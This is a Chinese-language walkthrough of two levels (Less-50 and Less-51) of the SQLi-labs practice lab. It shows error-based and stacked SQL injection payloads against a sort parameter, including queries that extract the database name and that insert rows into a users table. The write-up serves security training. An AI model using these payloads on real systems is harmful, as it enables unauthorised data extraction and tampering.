Less-50
基於錯誤_GET_數字型_排序堆疊注入
我們可以看下 Page 3 的關卡組成如下:
Less 38 - Less 41:GET 型堆疊注入
Less 42 - Less 45:POST 型堆疊注入
Less 46 - Less 49:排序注入
Less 50 - Less 53:排序堆疊注入
而Less-50的核心源碼如下:(沒有任何的過濾)
我們從源碼可以看到,一般後臺查詢數據庫使用的語句都是mysql_query()
,而可以堆疊注入的後臺使用的是mysqli_multi_query()
。(這個函數是能否進行堆疊注入的關鍵)
Less-46的排序注入在這一關通用,如:
?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
?sort=1 and (updatexml(1,concat(0x7e,(select database())),0))
同理,堆疊注入的方法也同樣適用這一關,詳細可參考Less-38:
?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+
(注:數字型還是比較簡單的)
------------------------------------- 分隔符 -------------------------------------
Less-51
基於錯誤_GET_字符型_單引號_排序堆疊注入
本關的 sql 語句爲
和Less-50的操作基本一樣,只要注意單引號的閉合和註釋符就可以了。
例如:
?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+
堆疊注入:
?sort=1';insert into users values(51,'Less51','Less51')--+
--------------------------- 分隔符 ------------------------------------